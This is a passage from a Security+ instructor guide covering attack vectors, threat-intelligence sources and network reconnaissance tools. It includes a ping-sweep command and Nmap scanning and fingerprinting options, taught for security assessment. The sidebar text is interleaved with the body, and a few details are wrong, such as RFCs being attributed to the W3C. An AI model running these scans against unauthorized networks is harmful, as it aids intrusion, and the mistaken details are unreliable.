Teaching than that for an insider threat. The attack surface can be considered for a network
Tip as a whole, but is also analyzed for individual software applications. Minimizing the
Note that developing attack surface means restricting access so that only a few known endpoints, protocols/
new attack vectors is ports, and services/methods are permitted. Each of these must be assessed for
one of the capabilities vulnerabilities.
that distinguishes
threat actor groups. From the point-of-view of the threat actor, different parts of the attack surface
represent potential attack vectors. An attack vector is the path that a threat actor uses
to gain access to a secure system. In the majority of cases, gaining access means being
able to run malicious code on the target.
• Direct access—this is a type of physical or local attack. The threat actor could exploit
an unlocked workstation, use a boot disk to try to install malicious tools, or steal a
device, for example.

• Removable media—the attacker conceals malware on a USB thumb drive or

memory card and tries to trick employees into connecting the media to a PC, laptop,

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 23

or smartphone. For some exploits, simply connecting the media may be sufficient to
run the malware. In many cases, the attacker may need the employee to open a file
in a vulnerable application or run a setup program.

• Email—the attacker sends a malicious file attachment via email, or via any other
communications system that allows attachments. The attacker needs to use social
engineering techniques to persuade or trick the user into opening the attachment.

• Remote and wireless—the attacker either obtains credentials for a remote access
or wireless connection to the network or cracks the security protocols used for
authentication. Alternatively, the attacker spoofs a trusted resource, such as an
access point, and uses it to perform credential harvesting and then uses the stolen
account details to access the network.

• Supply chain—rather than attack the target directly, a threat actor may seek
ways to infiltrate it via companies in its supply chain. One high-profile example of
this is the Target data breach, which was made via the company's HVAC supplier
(krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company).

• Web and social media—malware may be concealed in files attached to posts or

presented as downloads. An attacker may also be able to compromise a site so that
it automatically infects vulnerable browser software (a drive-by download). Social
media may also be used more subtly, to reinforce a social engineering campaign
and drive the adoption of Trojans.

• Cloud—many companies now run part or all of their network services via Internet-
accessible clouds. The attacker only needs to find one account, service, or host with
weak credentials to gain access. The attacker is likely to target the accounts used to
develop services in the cloud or manage cloud systems. They may also try to attack
the cloud service provider (CSP) as a way of accessing the victim system.

Sophisticated threat actors will make use of multiple vectors. They are likely to plan a
multi-stage campaign, rather than a single "smash and grab" type of raid.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 24 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Threat Actor Types and Attack Vectors
Answer the following questions:

1. Which of the following would be assessed by likelihood and impact:

vulnerability, threat, or risk?

Risk. To assess likelihood and impact, you must identify both the vulnerability and the
threat posed by a potential exploit.

2. True or false? Nation state actors primarily only pose a risk to other states.

False—nation state actors have targeted commercial interests for theft, espionage, and
extortion.

3. You receive an email with a screenshot showing a command prompt at one

of your application servers. The email suggests you engage the hacker for
a day's consultancy to patch the vulnerability. How should you categorize
this threat?

This is either gray hat (semi-authorized) hacking or black hat (non-authorized) hacking.
If the request for compensation via consultancy is an extortion threat (if refused, the
hacker sells the exploit on the dark web), then the motivation is purely financial gain
and can be categorized as black hat. If the consultancy is refused and the hacker takes
no further action, it can be classed as gray hat.

4. Which type of threat actor is primarily motivated by the desire for

social change?

Hacktivist.

5. Which three types of threat actor are most likely to have high levels
of funding?

State actors, criminal syndicates, and competitors.

6. You are assisting with writing an attack surface assessment report for a
small company. Following the CompTIA syllabus, which two potential attack
vectors have been omitted from the following headings in the report? Direct
access, Email, Remote and wireless, Web and social media, Cloud.

Removable media and supply chain.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 25

Topic 2B
Explain Threat Intelligence Sources

EXAM OBJECTIVES COVERED Teaching

1.5 Explain different threat actors, vectors, and intelligence sources Tip
Use of threat
intelligence sources
is a new area of
As a security professional, you must continually refresh and expand your knowledge of focus for the exam,
both security technologies and practices and adversary tactics and techniques. As well and will be a critical
as staying up-to-date on a personal level, you will also need to select and deploy threat tool throughout the
intelligence platforms. You need to be able to identify and evaluate sources of threat candidates' careers.
intelligence and research and to use these resources to enhance security controls. This topic covers
the remaining
Threat Research Sources content examples for
objective 1.5.
Threat research is a counterintelligence gathering effort in which security companies
and researchers attempt to discover the tactics, techniques, and procedures (TTPs) Show Slide(s)
of modern cyber adversaries. There are many companies and academic institutions
engaged in primary cybersecurity research. Security solution providers with firewall
Threat Research
and anti-malware platforms derive a lot of data from their own customers' networks. Sources
As they assist customers with cybersecurity operations, they are able to analyze and
publicize TTPs and their indicators. These organizations also operate honeynets to try Teaching
to observe how hackers interact with vulnerable systems. Tip
Give an overview
Another primary source of threat intelligence is the dark web. The deep web is any
of the purpose of
part of the World Wide Web that is not indexed by a search engine. This includes pages threat intelligence,
that require registration, pages that block search indexing, unlinked pages, pages using introducing the
non-standard DNS, and content encoded in a non-standard manner. Within the deep term TTP. Explain
web, are areas that are deliberately concealed from "regular" browser access. which companies
and institutions are
• Dark net—a network established as an overlay to Internet infrastructure by active in this type of
software, such as The Onion Router (TOR), Freenet, or I2P, that acts to anonymize research.
usage and prevent a third party from knowing about the existence of the network Make sure students
or analyzing any activity taking place over the network. Onion routing, for instance, know how to access
uses multiple layers of encryption and relays between nodes to achieve this dark web sites and
the difficulty of
anonymity.
performing research.
• Dark web—sites, content, and services accessible only over a dark net. While there
are dark web search engines, many sites are hidden from them. Access to a dark
web site via its URL is often only available via "word of mouth" bulletin boards.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 26 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Using the TOR browser to view the AlphaBay market, now closed by law enforcement.
(Screenshot used with permission from Security Onion.)

Investigating these dark web sites and message boards is a valuable source of
counterintelligence. The anonymity of dark web services has made it easy for
investigators to infiltrate the forums and webstores that have been set up to exchange
stolen data and hacking tools. As adversaries react to this, they are setting up new
networks and ways of identifying law enforcement infiltration. Consequently, dark nets
and the dark web represent a continually shifting landscape.

Show Slide(s) Threat Intelligence Providers

Threat Intelligence
The outputs from the primary research undertaken by security solutions providers and
Providers academics can take three main forms:

Teaching • Behavioral threat research—narrative commentary describing examples of attacks

Tip and TTPs gathered through primary research sources.
Note the ways • Reputational threat intelligence—lists of IP addresses and domains associated
in which threat
with malicious behavior, plus signatures of known file-based malware.
intelligence can be
consumed. Explain
• Threat data—computer data that can correlate events observed on a customer's
that the market is a
mixture of platform own networks and logs with known TTP and threat actor indicators.
providers with
proprietary feeds, Threat data can be packaged as feeds that integrate with a security information and
commercial platform event management (SIEM) platform. These feeds are usually described as cyber
providers with open- threat intelligence (CTI) data. The data on its own is not a complete security solution
source feeds, open- however. To produce actionable intelligence, the threat data must be correlated with
source platforms and observed data from customer networks. This type of analysis is often powered by
feeds, and open-
artificial intelligence (AI) features of the SIEM.
source feeds with no
associated platform. Threat intelligence platforms and feeds are supplied as one of three different
commercial models:
• Closed/proprietary—the threat research and CTI data is made available as a paid
subscription to a commercial threat intelligence platform. The security solution
provider will also make the most valuable research available early to platform

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 27

subscribers in the form of blogs, white papers, and webinars. Some examples of
such platforms include:

• IBM X-Force Exchange (exchange.xforce.ibmcloud.com)

• FireEye (fireeye.com/solutions/cyber-threat-intelligence/threat-intelligence-
subscriptions.html)

• Recorded Future (recordedfuture.com/solutions/threat-intelligence-feeds)

IBM X-Force Exchange threat intelligence portal. (Image copyright 2019 IBM Security
exchange.xforce.ibmcloud.com.)

• Vendor websites—proprietary threat intelligence is not always provided at cost. All

types of security, hardware, and software vendors make huge amounts of threat
research available via their websites as a general benefit to their customers. One
example is Microsoft's Security Intelligence blog (microsoft.com/security/blog/
microsoft-security-intelligence).

• Public/private information sharing centers—in many critical industries, Information

Sharing and Analysis Centers (ISACs) have been set up to share threat intelligence
and promote best practice (nationalisacs.org/member-isacs). These are sector-
specific resources for companies and agencies working in critical industries, such
as power supply, financial markets, or aviation. Where there is no coverage by an
ISAC, local industry groups and associations may come together to provide mutual
support.

• Open source intelligence (OSINT)—some companies operate threat intelligence

services on an open-source basis, earning income from consultancy rather than
directly from the platform or research effort. Some examples include:

• AT&T Security, previously Alien Vault Open Threat Exchange (OTX)

(otx.alienvault.com)

• Malware Information Sharing Project (MISP) (misp-project.org/feeds)

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 28 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Spamhaus (spamhaus.org/organization)

• VirusTotal (virustotal.com)

As well as referring to open-source threat research providers, OSINT can mean any
intelligence derived from publicly available information. OSINT is a common reconnaissance
technique where the attacker harvests domains, IP address ranges, employees, and other
data that will assist in identifying attack vectors. Companies should also monitor public
networks for signs of attack planning (chatter on forums) and breaches (confidential
information or account credentials posted to online forums). Most commercial providers
offer monitoring services, which can include dark web sources (fireeye.com/content/dam/
fireeye-www/products/pdfs/pf/intel/ds-digital-threat-monitoring.pdf).

Show Slide(s) Other Threat Intelligence Research Sources

Other Threat
There are plenty of other sources of best practice advice and new research other than
Intelligence Research the threat intelligence platforms:
Sources
• Academic journals—results from academic researchers and not-for-profit trade
Teaching bodies and associations, such as the IEEE, are published as papers in journals.
Tip Access to these papers is usually subscription-based. One free source is the arXiv
preprint repository (arxiv.org/list/cs.CR/recent). Preprints are papers that have not
You should not need
to spend too long been published or peer reviewed.
on this—just make
students aware of • Conferences—security conferences are hosted and sponsored by various
these sources. institutions and provide an opportunity for presentations on the latest threats and
technologies.

• Request for Comments (RFC)—when a new technology is accepted as a web

standard, it is published as an RFC by the W3C (rfc-editor.org). There are also
informational RFCs covering many security considerations and best practices.

• Social media—companies and individual researchers and practitioners write

informative blogs or social media feeds. There are too many useful blog and
discussion sources to include here, but the list curated by Digital Guardian
(digitalguardian.com/blog/top-50-infosec-blogs-you-should-be-reading) is a good
starting point.

As well as a source of information, social media should also be monitored for threat data
(trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/hunting-threats-on-
twitter).

Show Slide(s) Tactics, Techniques, and Procedures and

Indicators of Compromise
Tactics, Techniques,
and Procedures A tactic, technique, or procedure (TTP) is a generalized statement of adversary
and Indicators of behavior. The term is derived from US military doctrine (mwi.usma.edu/what-is-army-
Compromise
doctrine). TTPs categorize behaviors in terms of campaign strategy and approach
Teaching (tactics), generalized attack vectors (techniques), and specific intrusion tools and
Tip methods (procedures).
Make sure students An indicator of compromise (IoC) is a residual sign that an asset or network has
can use this been successfully attacked or is continuing to be attacked. Put another way, an IoC is
terminology. evidence of a TTP.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 29

TTPs describe what and how an adversary acts and Indicators describe how to recognize
what those actions might look like. (stixproject.github.io/documentation/concepts/
ttp-vs-indicator)
As there are many different targets and vectors of an attack, so too are there many
different potential IoCs. The following is a list of some IoCs that you may encounter:
• Unauthorized software and files

• Suspicious emails

• Suspicious registry and file system changes

• Unknown port and protocol usage

• Excessive bandwidth usage

• Rogue hardware

• Service disruption and defacement

• Suspicious or unauthorized account usage

An IoC can be definite and objectively identifiable, like a malware signature, but often
IoCs can only be described with confidence via the correlation of many data points. Show Slide(s)
Because these IoCs are often identified through patterns of anomalous activity rather
than single events, they can be open to interpretation and therefore slow to diagnose.
Threat Data Feeds
Consequently, threat intelligence platforms use AI-backed analysis to speed up
detection without overwhelming analysts' time with false positives.
Teaching
Tip
Strictly speaking, an IoC is evidence of an attack that was successful. The term indicator of
Make sure students
attack (IoA) is sometimes also used for evidence of an intrusion attempt in progress.
can distinguish STIX
and TAXII.
Note that we'll
cover vulnerability
Threat Data Feeds assessment in the
next lesson.
When you use a cyber threat intelligence (CTI) platform, you subscribe to a threat data
Interaction
feed. The information in the threat data can be combined with event data from your
Opportunity
own network and system logs. An analysis platform performs correlation to detect
whether any IoCs are present. There are various ways that a threat data feed can be You can show some
other threat map
implemented.
examples, such
as CheckPoint's
Structured Threat Information eXpression (STIX) (threatmap.
checkpoint.com).
The OASIS CTI framework (oasis-open.github.io/cti-documentation) is designed to Kaspersky's is visually
provide a format for this type of automated feed so that organizations can share CTI. impressive too
The Structured Threat Information eXpression (STIX) part of the framework describes (cybermap.kaspersky.
standard terminology for IoCs and ways of indicating relationships between them. com).

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 30 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

STIX 2 Relationship example. (Icon images © Copyright 2016 Bret Jordan. Licensed under the Creative
Commons Attribution-ShareAlike (CC BY-SA) License, Version 4.0. (freetaxii.github.io/stix2-icons.html.)

Where STIX provides the syntax for describing CTI, the Trusted Automated eXchange
of Indicator Information (TAXII) protocol provides a means for transmitting CTI data
between servers and clients. For example, a CTI service provider would maintain a
repository of CTI data. Subscribers to the service obtain updates to the data to load
into analysis tools over TAXII. This data can be requested by the client (referred to as a
collection), or the data can be pushed to subscribers (referred to as a channel).

Automated Indicator Sharing (AIS)

Automated Indicator Sharing (AIS) is a service offered by the Department of
Homeland Security (DHS) for companies to participate in threat intelligence sharing
(us-cert.gov/ais). It is especially aimed at ISACs, but private companies can join too. AIS
is based on the STIX and TAXII standards and protocols.

Threat Maps
A threat map is an animated graphic showing the source, target, and type of attacks
that have been detected by a CTI platform. The security solutions providers publish
such maps showing global attacks on their customers' systems (fortinet.com/
fortiguard/threat-intelligence/threat-map).

File/Code Repositories
A file/code repository such as virustotal.com holds signatures of known malware code.
The code samples derive from live customer systems and (for public repositories) files
that have been uploaded by subscribers.

Vulnerability Databases and Vulnerability Feeds

As well as analyzing adversary tools and behaviors, another source of threat
intelligence is identifying vulnerabilities in OS, software application, and firmware
code. Security researchers look for vulnerabilities, often for the reward of bug bounties
offered by the vendor. Lists of vulnerabilities are stored in databases such as Common
Vulnerabilities and Exposures (CVE), operated by Mitre (cve.mitre.org). Information
about vulnerabilities is codified as signatures and scanning scripts that can be supplied
as feeds to automated vulnerability scanning software.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 31

Artificial Intelligence and Predictive Analysis Show Slide(s)

A threat data feed does not produce threat intelligence automatically. The combination Artificial Intelligence
of security intelligence and CTI data can be processed, correlated, and analyzed to and Predictive Analysis
provide actionable insights that will assist you in identifying security problems. For
example, security intelligence reveals that DDoS attacks were perpetrated against your Teaching
web services from a range of IP addresses by collecting log and network traffic data. Tip
Threat intelligence associates those IP addresses with a hacktivist group. By linking Note that security
the two sources of intelligence, you can identify goals and tactics associated with that tools are increasingly
group and use controls to mitigate further attacks. Most threat intelligence platforms making use of AI and
use some sort of artificial intelligence (AI) to perform correlation analysis. ML techniques. We will
be referring to these
again when looking
AI and Machine Learning at SIEM and SOAR
analytics and incident
AI is the science of creating machine systems that can simulate or demonstrate a response.
similar general intelligence capability to humans. Early types of AI—expert systems—
use if-then rules to draw inferences from a limited data set, called a knowledge base.
Machine learning (ML) uses algorithms to parse input data and then develop
strategies for using that data, such as identifying an object as a type, working out the
best next move in a game, and so on. Unlike an expert system, machine learning can
modify the algorithms it uses to parse data and develop strategies. It can make gradual
improvements in the decision-making processes. The structure that facilitate this
learning process is referred to as an artificial neural network (ANN). Nodes in a neural
network take inputs and then derive outputs, using complex feedback loops between
nodes. An ML system has objectives and error states and it adjusts its neural network
to reduce errors and optimize objectives.
In terms of threat intelligence, this AI-backed analysis might perform accurate
correlations that would take tens or hundreds of hours of analyst time if the data were
to be examined manually.

Predictive Analysis
Identifying the signs of a past attack or the presence of live attack tools on a network
quickly is valuable. However, one of the goals of using AI-backed threat intelligence is
to perform predictive analysis, or threat forecasting. This means that the system can
anticipate a particular type of attack and possibly the identity of the threat actor before
the attack is fully realized. For example, the system tags references to a company,
related IP addresses, and account names across a range of ingested data from dark
web sources, web searches, social media posts, phishing email attempts, and so on.
The analysis engine associates this "chatter" with IP addresses that it can correlate with
a known adversary group. This gives the target advance warning that an attack is in the
planning stages and more time to prepare an effective defense.
Such concrete threat forecasting is not a proven capability of any commercial threat
intelligence platform at the time of writing. However, predictive analysis can inform risk
assessment by giving more accurate, quantified measurements of the likelihood and
impact (cost) of breach-type events.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 32 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Threat Intelligence Sources
Answer the following questions:

1. You are consulting on threat intelligence solutions for a supplier of

electronic voting machines. What type of threat intelligence source would
produce the most relevant information at the lowest cost?

For critical infrastructure providers, threat data sharing via an Information Sharing and
Analysis Center (ISAC) is likely to be the best option.

2. Your CEO wants to know if the company's threat intelligence platform

makes effective use of OSINT. What is OSINT?

Open-source intelligence (OSINT) is cybersecurity-relevant information harvested from

public websites and data records. In terms of threat intelligence specifically, it refers to
research and data feeds that are made publicly available.

3. You are assessing whether to join AIS. What is AIS and what protocol should
your SIEM support in order to connect to AIS servers?

Automated Indicator Sharing (AIS) is a service offered by the Department of Homeland

Security (DHS) for participating in threat intelligence sharing. AIS uses the Trusted
Automated eXchange of Indicator Information (TAXII) protocol as a means of
transmitting CTI data between servers and clients.

Lesson 2: Explaining Threat Actors and Threat Intelligence | Topic 2B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 33

Lesson 2
Summary
You should be able to explain how to assess external and insider threat actor types Teaching
in terms of intent and capability. You should also be able to summarize options for Tip
implementing threat intelligence platforms and data sources. Check that students
are confident about
the content that has
Guidelines for Explaining Threat Actors and been covered. If there
Threat Intelligence is time, re-visit any
content examples that
Follow these guidelines when you assess the use of threat research and analysis: they have questions
about. If you have
• Create a profile of threat actor types that pose the most likely threats to your used all the available
business. Remember that you may be targeted as the supplier to a larger enterprise. time for this lesson
block, note the issues,
• Identify sources of threat research, especially those that are directly relevant to your and schedule time for
industry sector. Schedule time to keep up-to-date with threat trends and security a review later in the
course.
best practices.
Interaction
• Evaluate the use of a threat intelligence platform, considering proprietary versus
Opportunity
open-source options.
Optionally, discuss
• Evaluate the use of different proprietary and open-source threat data feeds, with students how
considering that sector-specific data might be of most use. threat intelligence
platforms and data
feeds could be used
within their own
workplaces, or how
these resources
have already been
implemented, and
how successful they
have proved.

Lesson 2: Explaining Threat Actors and Threat Intelligence

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 3
Performing Security Assessments

LESSON INTRODUCTION Teaching

Tip
Security assessment refers to processes and tools that evaluate the attack surface. This lesson continues
With knowledge of adversary tactics and capabilities, you can assess whether points on the assessment theme
the attack surface are potentially vulnerable attack vectors. The output of assessment by looking at specific
is recommendations for deploying, enhancing, or reconfiguring security controls to tools, vulnerability
mitigate the risk that vulnerabilities are exploitable by threat actors. assessment, and
penetration testing.

Lesson Objectives
In this lesson, you will:
• Assess organizational security with network reconnaissance tools.

• Explain security concerns with general vulnerability types.

• Summarize vulnerability scanning techniques.

• Explain penetration testing concepts.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 36 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 3A
Assess Organizational Security with
Network Reconnaissance Tools

Teaching EXAM OBJECTIVES COVERED

Tip 4.1 Given a scenario, use the appropriate tool to assess organizational security
This topic covers
the network
reconnaissance
Reconnaissance is a type of assessment activity that maps the potential attack surface
and packet capture
sections of objective by identifying the nodes and connections that make up the network. You will often
4.1. Other content need to run scans using both command-line and GUI topology discovery tools. You
examples from will need to report host configurations using fingerprinting tools and capture and
this objective are analyze network traffic. You should also understand how tools can be used to operate
discussed elsewhere backdoor connections to a host and to covertly exfiltrate data.
in the course.
There are a lot of tools
to get through, but ipconfig, ping, and arp
hopefully many of
them will be familiar The process of mapping out the attack surface is referred to as network
to students with reconnaissance and discovery. Reconnaissance techniques can are used by threat
Network+ experience. actors, but they are also be used by security professionals to probe and test their own
Note the relevance of
security systems, as part of a security assessment and ongoing monitoring.
each tool to security
assessment. Topology discovery (or "footprinting") means scanning for hosts, IP ranges, and routes
between networks to map out the structure of the target network. Topology discovery
Show Slide(s) can also be used to build an asset database and to identify non-authorized hosts
(rogue system detection) or network configuration errors.
ipconfig, ping, and arp
Basic topology discovery tasks can be accomplished using the command-line tools
built into Windows and Linux. The following tools report the IP configuration and test
Teaching
connectivity on the local network segment or subnet.
Tip
Focus on uses rather • ipconfig—show the configuration assigned to network interface(s) in Windows,
than switches. including the hardware or media access control (MAC) address, IPv4 and IPv6
Encourage students addresses, default gateway, and whether the address is static or assigned by DHCP.
to learn syntax and If the address is DHCP-assigned, the output also shows the address of the DHCP
options through server that provided the lease.
practice.
If students are • ifconfig—show the configuration assigned to network interface(s) in Linux.
not confident
with networking • ping—probe a host on a particular IP address or host name using Internet Control
fundamentals, you Message Protocol (ICMP). You can use ping with a simple script to perform
might want to skip this
a sweep of all the IP addresses in a subnet. The following example will scan the
section and come back
to it after lesson 9. 10.1.0.0/24 subnet from a Windows machine:
for /l %i in (1,1,255) do @ping -n 1 -w 100
10.1.0.%i | find /i "reply"

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 37

Performing a ping sweep in Windows with a For loop—Searching multiple octets requires nested loops.
Note that not all hosts respond to ICMP probes. (Screenshot used with permission from Microsoft.)

• arp—display the local machine's Address Resolution Protocol (ARP) cache.

The ARP cache shows the MAC address of the interface associated with each IP
address the local host has communicated with recently. This can be useful if you
are investigating a suspected spoofing attack. For example, a sign of a man-in-the-
middle attack is where the MAC address of the default gateway IP listed in the cache
is not the legitimate router's MAC address.

For more information about commands, including syntax usage, look up the command in
an online resource for Windows (docs.microsoft.com/en-us/windows-server/administration/
windows-commands/windows-commands) or Linux (linux.die.net/man).

route and traceroute Show Slide(s)

The following tools can be used to test the routing configuration and connectivity with route and traceroute
remote hosts and networks.
• route—view and configure the host's local routing table. Most end systems use a
default route to forward all traffic for remote networks via a gateway router. If the
host is not a router, additional entries in the routing table could be suspicious.

Output from the route command on a Linux host. Most endpoints have a simple routing table, similar
to this. It shows the default route (0.0.0.0/0) via the host configured as the default gateway (10.1.0.254)
over the network interface eth0. The second line of the table shows the subnet for local traffic
(10.1.0.0/24). This network is directly connected, represented by the 0.0.0.0 gateway.

• tracert—uses ICMP probes to report the round trip time (RTT) for hops between the
local host and a host on a remote network. tracert is the Windows version of
the tool.

• traceroute—performs route discovery from a Linux host. traceroute uses UDP

probes rather than ICMP, by default.

• pathping—provides statistics for latency and packet loss along a route over a
longer measuring period. pathping is a Windows tool; the equivalent on Linux
is mtr.

In a security context, high latency at the default gateway compared to a baseline might
indicate a man-in-the-middle attack. High latency on other hops could be a sign of
denial or service, or could just indicate network congestion.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 38 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

In Linux, commands such as ifconfig, arp, route, and traceroute are deprecated and
the utilities have not been updated for some years. The iproute2 suite of tools supply
replacements for these commands (digitalocean.com/community/tutorials/how-to-use-
iproute2-tools-to-manage-network-configuration-on-a-linux-vps).

Show Slide(s) IP Scanners and Nmap

IP Scanners and Nmap
Scanning a network using tools such as ping is time consuming and non-stealthy,
and does not return detailed results. Most topology discovery is performed using
Teaching a dedicated IP scanner tool. An IP scanner performs host discovery and identifies
Tip how the hosts are connected together in an internetwork. For auditing, there are
Students shouldn't enterprise suites, such as Microsoft's System Center products. Such suites can be
need detailed provided with credentials to perform authorized scans and obtain detailed host
knowledge of information via management protocols, such as the Simple Network Management
Nmap switches but Protocol (SNMP).
make sure they can
distinguish host The Nmap Security Scanner (nmap.org) is one of the most popular open-source
discovery and service/ IP scanners. Nmap can use diverse methods of host discovery, some of which can
OS discovery scanning. operate stealthily and serve to defeat security mechanisms such as firewalls and
intrusion detection. The tool is open-source software with packages for most versions
of Windows, Linux, and macOS. It can be operated with a command line or via a GUI
(Zenmap).
The basic syntax of an Nmap command is to give the IP subnet (or IP host address)
to scan. When used without switches like this, the default behavior of Nmap is to
ping and send a TCP ACK packet to ports 80 and 443 to determine whether a host is
present. On a local network segment, Nmap will also perform ARP and ND (Neighbor
Discovery) sweeps. If a host is detected, Nmap performs a port scan against that host
to determine which services it is running.

Nmap default scan listing open ports from within the default range. (Screenshot Nmap nmap.org.)

This OS fingerprinting can be time-consuming on a large IP scope and is also non-stealthy. If

you want to perform only host discovery, you can use Nmap with the -sn switch (or -sP in
earlier versions) to suppress the port scan.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 39

Service Discovery and Nmap Show Slide(s)

Having identified active IP hosts on the network and gained an idea of the network Service Discovery and
topology, the next step in network reconnaissance is to work out which operating Nmap
systems are in use, which network services each host is running, and, if possible,
which application software is underpinning those services. This process is described as Teaching
service discovery. Service discovery can also be used defensively, to probe potential Tip
rogue systems and identify the presence of unauthorized network service ports. Remind students that
these techniques
Service Discovery with Nmap can be used
defensively (auditing)
When Nmap completes a host discovery scan, it will report on the state of each port or offensively
scanned for each IP address in the scope. At this point, you can run additional service (reconnaissance).
discovery scans against one or more of the active IP addresses. Some of the principal
options for service discovery scans are:
• TCP SYN (-sS)—this is a fast technique also referred to as half-open scanning, as
the scanning host requests a connection without acknowledging it. The target's
response to the scan's SYN packet identifies the port state.

• UDP scans (-sU)—scan UDP ports. As these do not use ACKs, Nmap needs to wait
for a response or timeout to determine the port state, so UDP scanning can take a
long time. A UDP scan can be combined with a TCP scan.

• Port range (-p)—by default, Nmap scans 1000 commonly used ports, as listed in its
configuration file. Use the -p argument to specify a port range.

Service and Version Detection and OS Fingerprinting with Nmap

The detailed analysis of services on a particular host is often called fingerprinting. This
is because each OS or application software that underpins a network service responds
to probes in a unique way. This allows the scanning software to guess at the software
name and version, without having any sort of privileged access to the host. This can
also be described as banner grabbing, where the banner is the header of the response
returned by the application.
When services are discovered, you can use Nmap with the -sV or -A switch to probe
a host more intensively to discover the following information:
• Protocol—do not assume that a port is being used for its "well known" application
protocol. Nmap can scan traffic to verify whether it matches the expected signature
(HTTP, DNS, SMTP, and so on).

• Application name and version—the software operating the port, such as Apache
web server or Internet Information Services (IIS) web server.

• OS type and version—use the -o switch to enable OS fingerprinting (or -A to use

both OS fingerprinting and version discovery).

• Device type—not all network devices are PCs. Nmap can identify switches and
routers or other types of networked devices, such as NAS boxes, printers, and
webcams.

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 40 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Nmap fingerprinting scan results. (Screenshot Nmap nmap.org.)

Nmap comes with a database of application and version fingerprint signatures,

classified using a standard syntax called Common Platform Enumeration (CPE).
Unmatched responses can be submitted to a web URL for analysis by the community .

Show Slide(s) netstat and nslookup

netstat and nslookup
Basic service discovery tasks can also be performed using tools built into the Windows
and Linux operating systems:
Teaching
• netstat—show the state of TCP/UDP ports on the local machine. The same
Tip
command is used on both Windows and Linux, though with different options syntax.
Hopefully students You can use netstat to check for service misconfigurations (perhaps a host is
will be familiar with
the basic operation
running a web or FTP server that a user installed without authorization). You may
of these tools from also be able to identify suspect remote connections to services on the local host or
Network+. from the host to remote IP addresses. If you are attempting to identify malware, the
most useful netstat output is to show which process is listening on which ports.

netstat command running on Windows showing activity during an nmap scan. The findstr function
is being used to filter the output (to show only connections from IPv4 hosts on the same subnet).
(Screenshot used with permission from Microsoft.)

Lesson 3: Performing Security Assessments | Topic 3A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 41

On Linux, use of netstat is deprecated in favor of the ss command from the iptools2 suite
(linux.com/topic/networking/introduction-ss-command).

• nslookup/dig—query name records for a given domain using a particular DNS

resolver under Windows (nslookup) or Linux (dig). An attacker may test a
network to find out if the DNS service is misconfigured. A misconfigured DNS may
allow a zone transfer, which will give the attacker the complete records of every host
in the domain, revealing a huge amount about the way the network is configured.

Testing whether the name server for comptia.org will allow a zone transfer.
(Screenshot used with permission from Microsoft.)

Other Reconnaissance and Discovery Tools Show Slide(s)

There are hundreds of tools relevant to security assessments, network reconnaissance, Other Reconnaissance
vulnerability scanning, and penetration testing. Security distributions specialize in and Discovery Tools
bundling these tools for Linux—notably KALI (kali.org) plus ParrotOS (parrotlinux.org)—
and Windows (fireeye.com/blog/threat-research/2019/03/commando-vm-windows- Teaching
offensive-distribution.html). Tip
There is only space
theHarvester for brief overviews of
these tools, though
